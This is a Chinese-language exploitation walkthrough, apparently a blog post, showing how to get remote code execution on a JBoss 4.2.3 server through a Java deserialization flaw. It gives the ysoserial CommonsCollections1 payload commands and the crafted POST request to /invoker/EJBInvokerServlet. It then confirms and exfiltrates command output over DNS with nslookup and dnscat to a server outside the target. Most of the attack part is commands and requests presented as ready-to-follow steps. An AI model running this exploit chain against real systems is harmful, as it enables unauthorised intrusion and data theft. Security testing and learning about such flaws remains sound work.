首先,本篇文章是参考以下几篇文章和工具介绍完成的:
https://github.com/frohoff/ysoserial
http://artsploit.blogspot.com/2016/01/paypal-rce.html
本文中全是简化的步骤,大家可以在本地搭建一个JSP环境。在渗透过程中,我也遇到一些不知道如何解决的问题。但是依然可以通过JBoss (4.2.3) 有一个JAVA反序列化漏洞获得远程控制权限。在这台机器上的端口存在着端口过滤,这样的话,我就没法用http,ftp和telent端口。不过通过一些报错页面可以确定这台机器是Windows主机。
步骤,利用
1.用ysoserial生成payload
2.将你的payload写入文件中
$ java -jarysoserial-0.0.4-all.jarCommonsCollections1 ‘fake.exe’ > serialdata
3.在本例子中,我使用的是‘fake.exe’ 作为例子。原来我跑的命令是类似于 wget, curl, python, perl, etc这样的,但是返回都是如下“The system cannot find the filespecified”
4.首先,用如下所示的请求包头:
POST /invoker/EJBInvokerServlet HTTP/1.1 Host: site.com Accept: */* Accept-Language: en ContentType: application/x-java-serialized-object;.jboss.invocation.MarshalledInvocation User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 1400
5.在burpsuit中拦截该包,进行进一步改包
6.响应包(‘cannot find file’没有成功)
7.然后我决定试试cmd.exe
$java -jar ysoserial-0.0.4-all.jarCommonsCollections1 ‘cmd.exe’ > serialdata
8.请求包:
9.响应包(“cannotfind file”没有了,说明成功了)
10. 从结果中,我们已经可以运行cmd.exe了,我试了好几种内网外联,但是只有DNS可行,在这里也要感谢@dawgyg的DNS服务器。
11. 命令:
$ java -jarysoserial-0.0.4-all.jarCommonsCollections1 ‘nslookup mealstest.example.com’> serialtest
12. DNS服务器日志:
$ sudo tail -f/var/log/messages …snip… Jul 2200:10:00 server named[7356]: client18x.x.x.x#33347: query: mealstest.example.comIN A -EDC (10.0.5.200)
13.就这样,通过dnscat,我们基本上可以一行一行的看到结果,基本上已经是可以远程代码执行了
还没有评论,来说两句吧...